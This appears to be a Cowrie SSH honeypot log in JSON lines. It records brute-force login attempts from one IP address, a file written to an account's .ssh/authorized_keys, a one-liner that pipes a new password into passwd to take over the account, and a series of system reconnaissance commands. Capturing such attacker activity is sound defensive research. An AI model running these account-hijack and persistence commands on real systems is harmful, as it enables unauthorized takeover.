{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:27.328138Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:27.332446Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":37676,"dst_ip":"159.203.135.109","dst_port":22,"session":"91d71c8702fa","protocol":"ssh","message":"New connection: 43.133.62.188:37676 (159.203.135.109:22) [session: 91d71c8702fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:27.569804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:27.574726Z","src_ip":"43.133.62.188","session":"91d71c8702fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:27.825686Z","src_ip":"43.133.62.188","session":"91d71c8702fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:28.846311Z","src_ip":"43.133.62.188","session":"91d71c8702fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:30.095758Z","src_ip":"43.133.62.188","session":"91d71c8702fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":37678,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c6f522a6a1a","protocol":"ssh","message":"New connection: 43.133.62.188:37678 (159.203.135.109:22) [session: 6c6f522a6a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:30.336632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:30.347434Z","src_ip":"43.133.62.188","session":"6c6f522a6a1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:30.593441Z","src_ip":"43.133.62.188","session":"6c6f522a6a1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:31.608441Z","src_ip":"43.133.62.188","session":"6c6f522a6a1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:32.857652Z","src_ip":"43.133.62.188","session":"6c6f522a6a1a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:33.147035Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:33.150445Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:33.628008Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:33.915923Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"adminadminadmin\\nKALqQZ0Rs5qE\\nKALqQZ0Rs5qE\"|passwd|bash","message":"CMD: echo -e \"adminadminadmin\\nKALqQZ0Rs5qE\\nKALqQZ0Rs5qE\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:33.919816Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:33.924629Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:33.928853Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/0a514879f3a23f15fd9156a8941d0e86b8126268f7cefc1f1473292b380c4318","size":32,"shasum":"0a514879f3a23f15fd9156a8941d0e86b8126268f7cefc1f1473292b380c4318","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/0a514879f3a23f15fd9156a8941d0e86b8126268f7cefc1f1473292b380c4318 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:34.405730Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:34.700794Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"adminadminadmin\\nKALqQZ0Rs5qE\\nKALqQZ0Rs5qE\\n\"|passwd","message":"CMD: echo \"adminadminadmin\\nKALqQZ0Rs5qE\\nKALqQZ0Rs5qE\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:34.704682Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/bbef79e5d1fe011245fd41f007f72f063c95642f104d54f5106f10cdfe2b99bc","size":25,"shasum":"bbef79e5d1fe011245fd41f007f72f063c95642f104d54f5106f10cdfe2b99bc","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/bbef79e5d1fe011245fd41f007f72f063c95642f104d54f5106f10cdfe2b99bc after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:35.180079Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:35.466264Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:35.469969Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:35.949033Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:36.244339Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:36.247852Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:36.723736Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:37.012305Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:37.016012Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:37.019603Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:37.497215Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:37.793210Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:37.796709Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:38.272480Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:38.556217Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:38.558523Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:39.034951Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:39.331720Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:39.335157Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:39.811111Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:40.102205Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:40.105570Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:40.584337Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:40.900369Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:40.904152Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:41.383013Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:41.678941Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:41.682471Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:42.158693Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:42.459397Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:42.462813Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:42.939801Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:43.226317Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:43.230011Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:43.706308Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:44.005579Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:44.008600Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:44.485313Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:44.776998Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
